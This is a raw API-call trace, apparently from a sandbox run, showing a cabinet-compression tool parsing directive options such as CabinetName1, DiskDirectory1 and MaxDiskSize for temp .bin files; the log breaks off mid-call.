[0151.802] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0151.802] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="1.2M") returned 50 [0151.802] atol (_Str="1213952") returned 1213952 [0151.802] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0151.802] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="1.25M") returned 50 [0151.802] atol (_Str="1250304") returned 1250304 [0151.802] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0151.802] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="1.44M") returned 50 [0151.802] atol (_Str="1457664") returned 1457664 [0151.802] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0151.802] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="1.68M") returned 50 [0151.802] atol (_Str="1716224") returned 1716224 [0151.802] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0151.802] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="DMF168") returned -1 [0151.802] atol (_Str="1716224") returned 1716224 [0151.802] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0151.802] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp", _Str2="CDROM") returned -42 [0151.802] atol (_Str="681984000") returned 681984000 [0151.802] atol (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0 [0151.802] _strcmpi (_Str1="Cabinet", _Str2="DiskDirectory1") returned -1 [0151.802] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DiskDirectory1") returned -1 [0151.802] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DiskDirectory1") returned -1 [0151.802] _strcmpi (_Str1="ChecksumWidth", _Str2="DiskDirectory1") returned -1 [0151.802] _strcmpi (_Str1="ClusterSize", _Str2="DiskDirectory1") returned -1 [0151.802] _strcmpi (_Str1="Compress", _Str2="DiskDirectory1") returned -1 [0151.802] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DiskDirectory1") returned -1 [0151.802] _strcmpi (_Str1="CompressionType", _Str2="DiskDirectory1") returned -1 [0151.803] _strcmpi (_Str1="CompressionLevel", _Str2="DiskDirectory1") returned -1 [0151.803] _strcmpi (_Str1="CompressionMemory", _Str2="DiskDirectory1") returned -1 [0151.803] _strcmpi (_Str1="DestinationDir", _Str2="DiskDirectory1") returned -4 [0151.803] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="DiskDirectory1") returned 67 [0151.803] _strcmpi (_Str1="DiskLabelTemplate", _Str2="DiskDirectory1") returned 8 [0151.803] _strcmpi (_Str1="DoNotCopyFiles", _Str2="DiskDirectory1") returned 6 [0151.803] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="DiskDirectory1") returned 2 [0151.803] _strcmpi (_Str1="FolderSizeThreshold", _Str2="DiskDirectory1") returned 2 [0151.803] _strcmpi (_Str1="GenerateInf", _Str2="DiskDirectory1") returned 3 [0151.803] _strcmpi (_Str1="InfCabinetHeader", _Str2="DiskDirectory1") returned 5 [0151.803] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="DiskDirectory1") returned 5 [0151.803] _strcmpi (_Str1="InfCommentString", _Str2="DiskDirectory1") returned 5 [0151.803] _strcmpi (_Str1="InfDateFormat", _Str2="DiskDirectory1") returned 5 [0151.803] _strcmpi (_Str1="InfDiskHeader", _Str2="DiskDirectory1") returned 5 [0151.803] _strcmpi (_Str1="InfDiskLineFormat", _Str2="DiskDirectory1") returned 5 [0151.803] _strcmpi (_Str1="InfFileHeader", _Str2="DiskDirectory1") returned 5 [0151.803] _strcmpi (_Str1="InfFileLineFormat", _Str2="DiskDirectory1") returned 5 [0151.803] _strcmpi (_Str1="InfFileName", _Str2="DiskDirectory1") returned 5 [0151.803] _strcmpi (_Str1="InfFooter", _Str2="DiskDirectory1") returned 5 [0151.803] _strcmpi (_Str1="InfFooter1", _Str2="DiskDirectory1") returned 5 [0151.803] _strcmpi (_Str1="InfFooter2", _Str2="DiskDirectory1") returned 5 [0151.803] _strcmpi (_Str1="InfFooter3", _Str2="DiskDirectory1") returned 5 [0151.803] _strcmpi (_Str1="InfFooter4", _Str2="DiskDirectory1") returned 5 [0151.803] _strcmpi (_Str1="InfHeader", _Str2="DiskDirectory1") returned 5 [0151.803] _strcmpi (_Str1="InfHeader1", _Str2="DiskDirectory1") returned 5 [0151.803] _strcmpi (_Str1="InfHeader2", _Str2="DiskDirectory1") returned 5 [0151.803] _strcmpi (_Str1="InfHeader3", _Str2="DiskDirectory1") returned 5 [0151.803] _strcmpi (_Str1="InfHeader4", _Str2="DiskDirectory1") returned 5 [0151.803] _strcmpi (_Str1="InfHeader5", _Str2="DiskDirectory1") returned 5 [0151.803] _strcmpi (_Str1="InfHeader6", _Str2="DiskDirectory1") returned 5 [0151.803] _strcmpi (_Str1="InfSectionOrder", _Str2="DiskDirectory1") returned 5 [0151.803] _strcmpi (_Str1="MaxCabinetSize", _Str2="DiskDirectory1") returned 9 [0151.803] _strcmpi (_Str1="MaxDiskFileCount", _Str2="DiskDirectory1") returned 9 [0151.803] _strcmpi (_Str1="MaxDiskSize", _Str2="DiskDirectory1") returned 9 [0151.803] _strcmpi (_Str1="MaxErrors", _Str2="DiskDirectory1") returned 9 [0151.803] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="DiskDirectory1") returned 14 [0151.803] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="DiskDirectory1") returned 14 [0151.803] _strcmpi (_Str1="ReservePerFolderSize", _Str2="DiskDirectory1") returned 14 [0151.803] _strcmpi (_Str1="RptFileName", _Str2="DiskDirectory1") returned 14 [0151.803] _strcmpi (_Str1="SourceDir", _Str2="DiskDirectory1") returned 15 [0151.804] _strcmpi (_Str1="UniqueFiles", _Str2="DiskDirectory1") returned 17 [0151.804] _vsnprintf (in: _DstBuf=0xde420, _MaxCount=0x1ff, _Format="%s", _ArgList=0xde378 | out: _DstBuf="DiskDirectory1") returned 14 [0151.804] _vsnprintf (in: _DstBuf=0xde1b0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xde108 | out: _DstBuf="DiskDirectory1") returned 14 [0151.804] free (_Block=0x2b7050) [0151.804] _strcmpi (_Str1="DiskDirectory1", _Str2="MaxDiskSize") returned -9 [0151.804] _strcmpi (_Str1="DiskDirectory1", _Str2="GenerateInf") returned -3 [0151.804] strpbrk (_Str=".set CabinetName1=\"E3D6.bin\"", _Control=" \x09") returned=" CabinetName1=\"E3D6.bin\"" [0151.804] strspn (_Str=" CabinetName1=\"E3D6.bin\"", _Control=" \x09") returned 0x1 [0151.804] strpbrk (_Str="CabinetName1=\"E3D6.bin\"", _Control=" \x09") returned 0x0 [0151.804] strspn (_Str=".set CabinetName1=\"E3D6.bin\"", _Control=" \x09") returned 0x0 [0151.804] strspn (_Str=".set CabinetName1=\"E3D6.bin\"", _Control=" \x09") returned 0x0 [0151.804] strpbrk (_Str="set CabinetName1=\"E3D6.bin\"", _Control=" \x09") returned=" CabinetName1=\"E3D6.bin\"" [0151.804] _strcmpi (_Str1="Define", _Str2="set") returned -15 [0151.804] _strcmpi (_Str1="Delete", _Str2="set") returned -15 [0151.804] _strcmpi (_Str1="Dump", _Str2="set") returned -15 [0151.804] _strcmpi (_Str1="InfBegin", _Str2="set") returned -10 [0151.804] _strcmpi (_Str1="InfEnd", _Str2="set") returned -10 [0151.804] _strcmpi (_Str1="InfWrite", _Str2="set") returned -10 [0151.804] _strcmpi (_Str1="InfWriteCabinet", _Str2="set") returned -10 [0151.804] _strcmpi (_Str1="InfWriteDisk", _Str2="set") returned -10 [0151.804] _strcmpi (_Str1="New", _Str2="set") returned -5 [0151.804] _strcmpi (_Str1="Option", _Str2="set") returned -4 [0151.804] _strcmpi (_Str1="Set", _Str2="set") returned 0 [0151.804] strspn (_Str=" CabinetName1=\"E3D6.bin\"", _Control=" \x09") returned 0x1 [0151.804] strpbrk (_Str="CabinetName1=\"E3D6.bin\"", _Control="= \x09") returned="=\"E3D6.bin\"" [0151.804] strspn (_Str="=\"E3D6.bin\"", _Control=" \x09") returned 0x0 [0151.804] strspn (_Str="\"E3D6.bin\"", _Control=" \x09") returned 0x0 [0151.804] strspn (_Str="", _Control=" \x09") returned 0x0 [0151.804] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.bin", _Str2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.bin") returned 0 [0151.804] _strcmpi (_Str1="E3D6.bin", _Str2="360K") returned 50 [0151.804] atol (_Str="362496") returned 362496 [0151.804] atol (_Str="E3D6.bin") returned 0 [0151.805] _strcmpi (_Str1="E3D6.bin", _Str2="720K") returned 46 [0151.805] atol (_Str="730112") returned 730112 [0151.805] atol (_Str="E3D6.bin") returned 0 [0151.805] _strcmpi (_Str1="E3D6.bin", _Str2="1.2M") returned 52 [0151.805] atol (_Str="1213952") returned 1213952 [0151.805] atol (_Str="E3D6.bin") returned 0 [0151.805] _strcmpi (_Str1="E3D6.bin", _Str2="1.25M") returned 52 [0151.805] atol (_Str="1250304") returned 1250304 [0151.805] atol (_Str="E3D6.bin") returned 0 [0151.805] _strcmpi (_Str1="E3D6.bin", _Str2="1.44M") returned 52 [0151.805] atol (_Str="1457664") returned 1457664 [0151.805] atol (_Str="E3D6.bin") returned 0 [0151.805] _strcmpi (_Str1="E3D6.bin", _Str2="1.68M") returned 52 [0151.805] atol (_Str="1716224") returned 1716224 [0151.805] atol (_Str="E3D6.bin") returned 0 [0151.805] _strcmpi (_Str1="E3D6.bin", _Str2="DMF168") returned 1 [0151.805] atol (_Str="1716224") returned 1716224 [0151.805] atol (_Str="E3D6.bin") returned 0 [0151.805] _strcmpi (_Str1="E3D6.bin", _Str2="CDROM") returned 2 [0151.805] atol (_Str="681984000") returned 681984000 [0151.805] atol (_Str="E3D6.bin") returned 0 [0151.805] _strcmpi (_Str1="Cabinet", _Str2="CabinetName1") returned -110 [0151.805] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CabinetName1") returned -8 [0151.805] _strcmpi (_Str1="CabinetNameTemplate", _Str2="CabinetName1") returned 67 [0151.805] _strcmpi (_Str1="ChecksumWidth", _Str2="CabinetName1") returned 7 [0151.805] _strcmpi (_Str1="ClusterSize", _Str2="CabinetName1") returned 11 [0151.805] _strcmpi (_Str1="Compress", _Str2="CabinetName1") returned 14 [0151.805] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="CabinetName1") returned 14 [0151.805] _strcmpi (_Str1="CompressionType", _Str2="CabinetName1") returned 14 [0151.805] _strcmpi (_Str1="CompressionLevel", _Str2="CabinetName1") returned 14 [0151.805] _strcmpi (_Str1="CompressionMemory", _Str2="CabinetName1") returned 14 [0151.805] _strcmpi (_Str1="DestinationDir", _Str2="CabinetName1") returned 1 [0151.805] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="CabinetName1") returned 1 [0151.805] _strcmpi (_Str1="DiskLabelTemplate", _Str2="CabinetName1") returned 1 [0151.805] _strcmpi (_Str1="DoNotCopyFiles", _Str2="CabinetName1") returned 1 [0151.805] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="CabinetName1") returned 3 [0151.805] _strcmpi (_Str1="FolderSizeThreshold", _Str2="CabinetName1") returned 3 [0151.805] _strcmpi (_Str1="GenerateInf", _Str2="CabinetName1") returned 4 [0151.805] _strcmpi (_Str1="InfCabinetHeader", _Str2="CabinetName1") returned 6 [0151.806] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="CabinetName1") returned 6 [0151.806] _strcmpi (_Str1="InfCommentString", _Str2="CabinetName1") returned 6 [0151.806] _strcmpi (_Str1="InfDateFormat", _Str2="CabinetName1") returned 6 [0151.806] _strcmpi (_Str1="InfDiskHeader", _Str2="CabinetName1") returned 6 [0151.806] _strcmpi (_Str1="InfDiskLineFormat", _Str2="CabinetName1") returned 6 [0151.806] _strcmpi (_Str1="InfFileHeader", _Str2="CabinetName1") returned 6 [0151.806] _strcmpi (_Str1="InfFileLineFormat", _Str2="CabinetName1") returned 6 [0151.806] _strcmpi (_Str1="InfFileName", _Str2="CabinetName1") returned 6 [0151.806] _strcmpi (_Str1="InfFooter", _Str2="CabinetName1") returned 6 [0151.806] _strcmpi (_Str1="InfFooter1", _Str2="CabinetName1") returned 6 [0151.806] _strcmpi (_Str1="InfFooter2", _Str2="CabinetName1") returned 6 [0151.806] _strcmpi (_Str1="InfFooter3", _Str2="CabinetName1") returned 6 [0151.806] _strcmpi (_Str1="InfFooter4", _Str2="CabinetName1") returned 6 [0151.806] _strcmpi (_Str1="InfHeader", _Str2="CabinetName1") returned 6 [0151.806] _strcmpi (_Str1="InfHeader1", _Str2="CabinetName1") returned 6 [0151.806] _strcmpi (_Str1="InfHeader2", _Str2="CabinetName1") returned 6 [0151.806] _strcmpi (_Str1="InfHeader3", _Str2="CabinetName1") returned 6 [0151.806] _strcmpi (_Str1="InfHeader4", _Str2="CabinetName1") returned 6 [0151.806] _strcmpi (_Str1="InfHeader5", _Str2="CabinetName1") returned 6 [0151.806] _strcmpi (_Str1="InfHeader6", _Str2="CabinetName1") returned 6 [0151.806] _strcmpi (_Str1="InfSectionOrder", _Str2="CabinetName1") returned 6 [0151.806] _strcmpi (_Str1="MaxCabinetSize", _Str2="CabinetName1") returned 10 [0151.806] _strcmpi (_Str1="MaxDiskFileCount", _Str2="CabinetName1") returned 10 [0151.806] _strcmpi (_Str1="MaxDiskSize", _Str2="CabinetName1") returned 10 [0151.806] _strcmpi (_Str1="MaxErrors", _Str2="CabinetName1") returned 10 [0151.806] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="CabinetName1") returned 15 [0151.806] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="CabinetName1") returned 15 [0151.806] _strcmpi (_Str1="ReservePerFolderSize", _Str2="CabinetName1") returned 15 [0151.806] _strcmpi (_Str1="RptFileName", _Str2="CabinetName1") returned 15 [0151.806] _strcmpi (_Str1="SourceDir", _Str2="CabinetName1") returned 16 [0151.806] _strcmpi (_Str1="UniqueFiles", _Str2="CabinetName1") returned 18 [0151.806] _strcmpi (_Str1="DiskDirectory1", _Str2="CabinetName1") returned 1 [0151.806] _vsnprintf (in: _DstBuf=0xde420, _MaxCount=0x1ff, _Format="%s", _ArgList=0xde378 | out: _DstBuf="CabinetName1") returned 12 [0151.806] _vsnprintf (in: _DstBuf=0xde1b0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xde108 | out: _DstBuf="CabinetName1") returned 12 [0151.807] free (_Block=0x2b7050) [0151.807] _strcmpi (_Str1="CabinetName1", _Str2="MaxDiskSize") returned -10 [0151.807] _strcmpi (_Str1="CabinetName1", _Str2="GenerateInf") returned -4 [0151.807] strpbrk (_Str="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin\"", _Control=" \x09") returned 0x0 [0151.807] strspn (_Str="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin\"", _Control=" \x09") returned 0x0 [0151.807] strspn (_Str="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin\"", _Control=" \x09") returned 0x0 [0151.807] _strcmpi (_Str1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.bin", _Str2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.bin") returned 0 [0151.807] _strcmpi (_Str1="Cabinet", _Str2="GenerateInf") returned -4 [0151.807] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="GenerateInf") returned -4 [0151.807] _strcmpi (_Str1="CabinetNameTemplate", _Str2="GenerateInf") returned -4 [0151.807] _strcmpi (_Str1="ChecksumWidth", _Str2="GenerateInf") returned -4 [0151.807] _strcmpi (_Str1="ClusterSize", _Str2="GenerateInf") returned -4 [0151.807] _strcmpi (_Str1="Compress", _Str2="GenerateInf") returned -4 [0151.807] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="GenerateInf") returned -4 [0151.807] _strcmpi (_Str1="CompressionType", _Str2="GenerateInf") returned -4 [0151.807] _strcmpi (_Str1="CompressionLevel", _Str2="GenerateInf") returned -4 [0151.807] _strcmpi (_Str1="CompressionMemory", _Str2="GenerateInf") returned -4 [0151.807] _strcmpi (_Str1="DestinationDir", _Str2="GenerateInf") returned -3 [0151.807] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="GenerateInf") returned -3 [0151.807] _strcmpi (_Str1="DiskLabelTemplate", _Str2="GenerateInf") returned -3 [0151.807] _strcmpi (_Str1="DoNotCopyFiles", _Str2="GenerateInf") returned -3 [0151.807] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="GenerateInf") returned -1 [0151.807] _strcmpi (_Str1="FolderSizeThreshold", _Str2="GenerateInf") returned -1 [0151.807] _strcmpi (_Str1="GenerateInf", _Str2="GenerateInf") returned 0 [0151.807] atoi (_Str="1") returned 1 [0151.807] _strcmpi (_Str1="Cabinet", _Str2="SourceDir") returned -16 [0151.807] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="SourceDir") returned -16 [0151.807] _strcmpi (_Str1="CabinetNameTemplate", _Str2="SourceDir") returned -16 [0151.807] _strcmpi (_Str1="ChecksumWidth", _Str2="SourceDir") returned -16 [0151.807] _strcmpi (_Str1="ClusterSize", _Str2="SourceDir") returned -16 [0151.807] _strcmpi (_Str1="Compress", _Str2="SourceDir") returned -16 [0151.807] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="SourceDir") returned -16 [0151.807] _strcmpi (_Str1="CompressionType", _Str2="SourceDir") returned -16 [0151.807] _strcmpi (_Str1="CompressionLevel", _Str2="SourceDir") returned -16 [0151.807] _strcmpi (_Str1="CompressionMemory", _Str2="SourceDir") returned -16 [0151.807] _strcmpi (_Str1="DestinationDir", _Str2="SourceDir") returned -15 [0151.807] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="SourceDir") returned -15 [0151.808] _strcmpi (_Str1="DiskLabelTemplate", _Str2="SourceDir") returned -15 [0151.808] _strcmpi (_Str1="DoNotCopyFiles", _Str2="SourceDir") returned -15 [0151.808] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="SourceDir") returned -13 [0151.808] _strcmpi (_Str1="FolderSizeThreshold", _Str2="SourceDir") returned -13 [0151.808] _strcmpi (_Str1="GenerateInf", _Str2="SourceDir") returned -12 [0151.808] _strcmpi (_Str1="InfCabinetHeader", _Str2="SourceDir") returned -10 [0151.808] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="SourceDir") returned -10 [0151.808] _strcmpi (_Str1="InfCommentString", _Str2="SourceDir") returned -10 [0151.808] _strcmpi (_Str1="InfDateFormat", _Str2="SourceDir") returned -10 [0151.808] _strcmpi (_Str1="InfDiskHeader", _Str2="SourceDir") returned -10 [0151.808] _strcmpi (_Str1="InfDiskLineFormat", _Str2="SourceDir") returned -10 [0151.808] _strcmpi (_Str1="InfFileHeader", _Str2="SourceDir") returned -10 [0151.808] _strcmpi (_Str1="InfFileLineFormat", _Str2="SourceDir") returned -10 [0151.808] _strcmpi (_Str1="InfFileName", _Str2="SourceDir") returned -10 [0151.808] _strcmpi (_Str1="InfFooter", _Str2="SourceDir") returned -10 [0151.808] _strcmpi (_Str1="InfFooter1", _Str2="SourceDir") returned -10 [0151.808] _strcmpi (_Str1="InfFooter2", _Str2="SourceDir") returned -10 [0151.808] _strcmpi (_Str1="InfFooter3", _Str2="SourceDir") returned -10 [0151.808] _strcmpi (_Str1="InfFooter4", _Str2="SourceDir") returned -10 [0151.808] _strcmpi (_Str1="InfHeader", _Str2="SourceDir") returned -10 [0151.808] _strcmpi (_Str1="InfHeader1", _Str2="SourceDir") returned -10 [0151.808] _strcmpi (_Str1="InfHeader2", _Str2="SourceDir") returned -10 [0151.808] _strcmpi (_Str1="InfHeader3", _Str2="SourceDir") returned -10 [0151.808] _strcmpi (_Str1="InfHeader4", _Str2="SourceDir") returned -10 [0151.808] _strcmpi (_Str1="InfHeader5", _Str2="SourceDir") returned -10 [0151.808] _strcmpi (_Str1="InfHeader6", _Str2="SourceDir") returned -10 [0151.808] _strcmpi (_Str1="InfSectionOrder", _Str2="SourceDir") returned -10 [0151.808] _strcmpi (_Str1="MaxCabinetSize", _Str2="SourceDir") returned -6 [0151.808] _strcmpi (_Str1="MaxDiskFileCount", _Str2="SourceDir") returned -6 [0151.808] _strcmpi (_Str1="MaxDiskSize", _Str2="SourceDir") returned -6 [0151.808] _strcmpi (_Str1="MaxErrors", _Str2="SourceDir") returned -6 [0151.808] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="SourceDir") returned -1 [0151.808] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="SourceDir") returned -1 [0151.808] _strcmpi (_Str1="ReservePerFolderSize", _Str2="SourceDir") returned -1 [0151.808] _strcmpi (_Str1="RptFileName", _Str2="SourceDir") returned -1 [0151.808] _strcmpi (_Str1="SourceDir", _Str2="SourceDir") returned 0 [0151.808] _strcmpi (_Str1="Cabinet", _Str2="DestinationDir") returned -1 [0151.808] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DestinationDir") returned -1 [0151.808] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DestinationDir") returned -1 [0151.808] _strcmpi (_Str1="ChecksumWidth", _Str2="DestinationDir") returned -1 [0151.808] _strcmpi (_Str1="ClusterSize", _Str2="DestinationDir") returned -1 [0151.809] _strcmpi (_Str1="Compress", _Str2="DestinationDir") returned -1 [0151.809] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DestinationDir") returned -1 [0151.809] _strcmpi (_Str1="CompressionType", _Str2="DestinationDir") returned -1 [0151.809] _strcmpi (_Str1="CompressionLevel", _Str2="DestinationDir") returned -1 [0151.809] _strcmpi (_Str1="CompressionMemory", _Str2="DestinationDir") returned -1 [0151.809] _strcmpi (_Str1="DestinationDir", _Str2="DestinationDir") returned 0 [0151.811] _vsnprintf (in: _DstBuf=0x2b610c, _MaxCount=0x7ff, _Format="MaxDiskSize%d", _ArgList=0xde568 | out: _DstBuf="MaxDiskSize0") returned 12 [0151.811] _strcmpi (_Str1="Cabinet", _Str2="MaxDiskSize0") returned -10 [0151.811] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="MaxDiskSize0") returned -10 [0151.811] _strcmpi (_Str1="CabinetNameTemplate", _Str2="MaxDiskSize0") returned -10 [0151.811] _strcmpi (_Str1="ChecksumWidth", _Str2="MaxDiskSize0") returned -10 [0151.811] _strcmpi (_Str1="ClusterSize", _Str2="MaxDiskSize0") returned -10 [0151.811] _strcmpi (_Str1="Compress", _Str2="MaxDiskSize0") returned -10 [0151.811] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="MaxDiskSize0") returned -10 [0151.811] _strcmpi (_Str1="CompressionType", _Str2="MaxDiskSize0") returned -10 [0151.811] _strcmpi (_Str1="CompressionLevel", _Str2="MaxDiskSize0") returned -10 [0151.811] _strcmpi (_Str1="CompressionMemory", _Str2="MaxDiskSize0") returned -10 [0151.811] _strcmpi (_Str1="DestinationDir", _Str2="MaxDiskSize0") returned -9 [0151.811] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="MaxDiskSize0") returned -9 [0151.811] _strcmpi (_Str1="DiskLabelTemplate", _Str2="MaxDiskSize0") returned -9 [0151.811] _strcmpi (_Str1="DoNotCopyFiles", _Str2="MaxDiskSize0") returned -9 [0151.811] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="MaxDiskSize0") returned -7 [0151.811] _strcmpi (_Str1="FolderSizeThreshold", _Str2="MaxDiskSize0") returned -7 [0151.811] _strcmpi (_Str1="GenerateInf", _Str2="MaxDiskSize0") returned -6 [0151.811] _strcmpi (_Str1="InfCabinetHeader", _Str2="MaxDiskSize0") returned -4 [0151.811] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="MaxDiskSize0") returned -4 [0151.811] _strcmpi (_Str1="InfCommentString", _Str2="MaxDiskSize0") returned -4 [0151.812] _strcmpi (_Str1="InfDateFormat", _Str2="MaxDiskSize0") returned -4 [0151.812] _strcmpi (_Str1="InfDiskHeader", _Str2="MaxDiskSize0") returned -4 [0151.812] _strcmpi (_Str1="InfDiskLineFormat", _Str2="MaxDiskSize0") returned -4 [0151.812] _strcmpi (_Str1="InfFileHeader", _Str2="MaxDiskSize0") returned -4 [0151.812] _strcmpi (_Str1="InfFileLineFormat", _Str2="MaxDiskSize0") returned -4 [0151.812] _strcmpi (_Str1="InfFileName", _Str2="MaxDiskSize0") returned -4 [0151.812] _strcmpi (_Str1="InfFooter", _Str2="MaxDiskSize0") returned -4 [0151.812] _strcmpi (_Str1="InfFooter1", _Str2="MaxDiskSize0") returned -4 [0151.812] _strcmpi (_Str1="InfFooter2", _Str2="MaxDiskSize0") returned -4 [0151.812] _strcmpi (_Str1="InfFooter3", _Str2="MaxDiskSize0") returned -4 [0151.812] _strcmpi (_Str1="InfFooter4", _Str2="MaxDiskSize0") returned -4 [0151.812] _strcmpi (_Str1="InfHeader", _Str2="MaxDiskSize0") returned -4 [0151.812] _strcmpi (_Str1="InfHeader1", _Str2="MaxDiskSize0") returned -4 [0151.812] _strcmpi (_Str1="InfHeader2", _Str2="MaxDiskSize0") returned -4 [0151.812] _strcmpi (_Str1="InfHeader3", _Str2="MaxDiskSize0") returned -4 [0151.812] _strcmpi (_Str1="InfHeader4", _Str2="MaxDiskSize0") returned -4 [0151.812] _strcmpi (_Str1="InfHeader5", _Str2="MaxDiskSize0") returned -4 [0151.812] _strcmpi (_Str1="InfHeader6", _Str2="MaxDiskSize0") returned -4 [0151.812] _strcmpi (_Str1="InfSectionOrder", _Str2="MaxDiskSize0") returned -4 [0151.812] _strcmpi (_Str1="MaxCabinetSize", _Str2="MaxDiskSize0") returned -1 [0151.812] _strcmpi (_Str1="MaxDiskFileCount", _Str2="MaxDiskSize0") returned -13 [0151.812] _strcmpi (_Str1="MaxDiskSize", _Str2="MaxDiskSize0") returned -48 [0151.812] _strcmpi (_Str1="MaxErrors", _Str2="MaxDiskSize0") returned 1 [0151.812] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="MaxDiskSize0") returned 5 [0151.812] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="MaxDiskSize0") returned 5 [0151.812] _strcmpi (_Str1="ReservePerFolderSize", _Str2="MaxDiskSize0") returned 5 [0151.812] _strcmpi (_Str1="RptFileName", _Str2="MaxDiskSize0") returned 5 [0151.812] _strcmpi (_Str1="SourceDir", _Str2="MaxDiskSize0") returned 6 [0151.812] _strcmpi (_Str1="UniqueFiles", _Str2="MaxDiskSize0") returned 8 [0151.812] _strcmpi (_Str1="DiskDirectory1", _Str2="MaxDiskSize0") returned -9 [0151.812] _strcmpi (_Str1="CabinetName1", _Str2="MaxDiskSize0") returned -10 [0151.812] _vsnprintf (in: _DstBuf=0xde3c0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xde318 | out: _DstBuf="MaxDiskSize0") returned 12 [0151.812] _stat (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin", _Stat=0xde700) returned 0 [0151.813] _strcmpi (_Str1="Cabinet", _Str2="UniqueFiles") returned -18 [0151.813] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="UniqueFiles") returned -18 [0151.813] _strcmpi (_Str1="CabinetNameTemplate", _Str2="UniqueFiles") returned -18 [0151.813] _strcmpi (_Str1="ChecksumWidth", _Str2="UniqueFiles") returned -18 [0151.813] _strcmpi (_Str1="ClusterSize", _Str2="UniqueFiles") returned -18 [0151.813] _strcmpi (_Str1="Compress", _Str2="UniqueFiles") returned -18 [0151.813] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="UniqueFiles") returned -18 [0151.813] _strcmpi (_Str1="CompressionType", _Str2="UniqueFiles") returned -18 [0151.813] _strcmpi (_Str1="CompressionLevel", _Str2="UniqueFiles") returned -18 [0151.813] _strcmpi (_Str1="CompressionMemory", _Str2="UniqueFiles") returned -18 [0151.813] _strcmpi (_Str1="DestinationDir", _Str2="UniqueFiles") returned -17 [0151.813] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="UniqueFiles") returned -17 [0151.813] _strcmpi (_Str1="DiskLabelTemplate", _Str2="UniqueFiles") returned -17 [0151.813] _strcmpi (_Str1="DoNotCopyFiles", _Str2="UniqueFiles") returned -17 [0151.813] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="UniqueFiles") returned -15 [0151.813] _strcmpi (_Str1="FolderSizeThreshold", _Str2="UniqueFiles") returned -15 [0151.813] _strcmpi (_Str1="GenerateInf", _Str2="UniqueFiles") returned -14 [0151.813] _strcmpi (_Str1="InfCabinetHeader", _Str2="UniqueFiles") returned -12 [0151.813] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="UniqueFiles") returned -12 [0151.813] _strcmpi (_Str1="InfCommentString", _Str2="UniqueFiles") returned -12 [0151.813] _strcmpi (_Str1="InfDateFormat", _Str2="UniqueFiles") returned -12 [0151.813] _strcmpi (_Str1="InfDiskHeader", _Str2="UniqueFiles") returned -12 [0151.813] _strcmpi (_Str1="InfDiskLineFormat", _Str2="UniqueFiles") returned -12 [0151.813] _strcmpi (_Str1="InfFileHeader", _Str2="UniqueFiles") returned -12 [0151.813] _strcmpi (_Str1="InfFileLineFormat", _Str2="UniqueFiles") returned -12 [0151.813] _strcmpi (_Str1="InfFileName", 